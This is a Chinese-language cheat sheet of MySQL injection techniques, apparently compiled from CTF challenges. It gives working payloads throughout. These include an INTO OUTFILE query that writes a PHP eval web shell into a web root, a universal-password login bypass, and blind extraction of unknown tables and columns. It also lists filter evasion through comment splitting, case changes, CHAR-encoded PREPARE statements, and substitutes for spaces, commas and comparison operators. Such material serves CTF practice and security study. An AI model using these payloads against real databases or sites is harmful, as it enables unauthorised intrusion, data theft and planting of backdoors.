mysql的注入技巧

mysql的注入技巧

注入方式

以下概念并非并列的,只是举出一些常见的叫法

  • insert/update/delete注入(盲注)
  • md5加密后注入
  • 宽字节注入
  • 报错注入
  • UDF与攻击存储类似[^1]
  • OOB(带外注入)
  • false注入

Technique

写入shell

Mysql注入中的outfile、dumpfile、load_file函数详解

  • secure_file_priv

    可以通过命令?select @@secure_file_priv

    • 为空时,对导入导出无限制
    • 当值为一个指定的目录时,只能向指定的目录导入导出
    • 当值被设置为NULL时,禁止导入导出功能

select into outfileselect into dumpfile(适用于二进制文件,会将目标文件写入同一行内)
PS:写入文件的操作要求目录可写

payload:

1
2
select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
select 1,’<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+

column truncation

sql_mode中设置为default或没有开启STRICT_ALL_TABLE选项时,超长也会正常插入

  • WordPress 2.6.1
  • NJCTF 2017 web100 Login
    –“而且我多点几次任然注册成功,因为用户名不能重复的,所以想到这里有长度限制试了下发现是50,所以这样就可以想办法重置admin的密码”

未知字段名注出内容

1
2
3
>select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;  
>select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
>select name from test where id=1 and (select * from (select * from test as a join test as b) as c);

DDCTF2017 SQL

未知表名盲注

未知字段名,但确定sql的查询操作能在后台的操作中返回(到php)该字段的值

盲注某个记录的一个字段的值,union另外一个,并将order by指向该字段,从小到大,直到报错,

利用order by默认ascii排序的特性,盲注出字段值

HBCTF 沙特阿拉伯-大美西安 Wonderkun

https://blog.csdn.net/xyz123lc/article/details/71429734

LCTF2017 他们有什么秘密呢

要获得的数据在第四个

https://www.cnblogs.com/ur10ser/p/7875473.html

1
"3 union distinct select 1,2,3,{}  order by 4 desc"

末尾的闭合

引号的优先级要高于分号,所以闭合时也要有所注意

  • 引号闭合

    不中断后面语句的执行

    1
    2
    万能密码
    name=' or ''='&password=
  • 注释符

    1
    2
    --<空格>
    # %23
  • %00

    不属于注释符,要加上分号

    1
    ... where name = 'Boris';%00'

过滤绕过

PREPARE语句

在能连续多次执行的场合(mysqli_multi_query),用预处理语句来绕过常见过滤

有点类似于XSS中的String.fromCharCode()

SUCTF 2018 MultiSql

1
2
3
set @s=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),...
PREPARE s2 FROM @s;
EXECUTE s2;

绕过空格

1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
  • 浮点数
    id=8E0union
    id=8.0
  • 括号
    select(user())from

等于号绕过

  • in

  • like

  • having

  • regexp

  • between and

    1
    2
    3
    between 104 and 104
    #字符串也可以的
    between char(105) and char(105)

if绕过

  • IFNULL(expr1,expr2)
    假如expr1 不为 NULL,则 IFNULL() 的返回值为 expr1; 否则其返回值为 expr2。
    case when [] then [] else []

逗号绕过

  • substr(),mid(),limit。
    这些子句方法都需要使用到逗号。
    对于substr()和mid()这两个方法可以使用from for代替逗号

    select substr(database() from 1 for 1);
    select mid(database() from 1 for 1);
    select mid((passwd)from(-1)); //绕过逗号和空格,而且从后往前可以忽略长度

  • 使用join:

    1
    2
    union select 1,2     #等价于  
    union select * from (select 1)a join (select 2)b
  • 使用like:

    1
    2
    select ascii(mid(user(),1,1))=80   #等价于
    select user() like 'r%'
  • limit中的逗号可以使用offset来绕过:
    select from news limit 0,1
    等价于下面这条SQL语句
    select
    from news limit 1 offset 0

大于小于号绕过

  • greatest()、least()

    1
    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
  • 使用between and:
    between a and b:返回a,b之间的数据,不包含b。

逻辑运算符

非    (NOT或者!)
与    (AND或者&&)
或    (OR或者||)
异或    (XOR)

位运算

1
2
3
位与(&)、位或(|)、位非(~)、位异或(^)、左移(<<)、右移(>>)

!异或会使字符串都变为0 // 'admin'='a'^0 为真

关键字过滤

绕过union,select,where等

  • 常用注释符:
1
2
3
4
5
6
//,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

id=-1'UnIoN/**/SeLeCT
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
  • 大小写绕过

    当后台mysql配置大小写不敏感时,可以利用

    查看大小写敏感配置

    1
    show global variables like '%lower_case%';

引号绕过

  • 十六进制
  • concat(char(),char(),…)
  • 预处理语句 set @var=”” prepare
  • 宽字节注入
  • 二次注入
  • 格式化字符串 (snprintf)
    • LCTF2017 simple blog

substr 等分割函数

  • rpad,lpad,left,right,mid,substring,instr,locate,position替代substr
  • reverse,insert

lpad,rpad函数用于填充

lpad(‘hi’,4,’?’) = ‘??hi’

rpad(‘hi’,4,’?’) = ‘hi??’

1
2
3
4
5
6
7
mysql> select lpad((select database()),1,'');
+--------------------------------+
| lpad((select database()),1,'') |
+--------------------------------+
| h |
+--------------------------------+
1 row in set (0.00 sec)

参考链接

sql_injection
mysql 数据库引擎

[^1]: 吴翰清 《白帽子讲Web安全》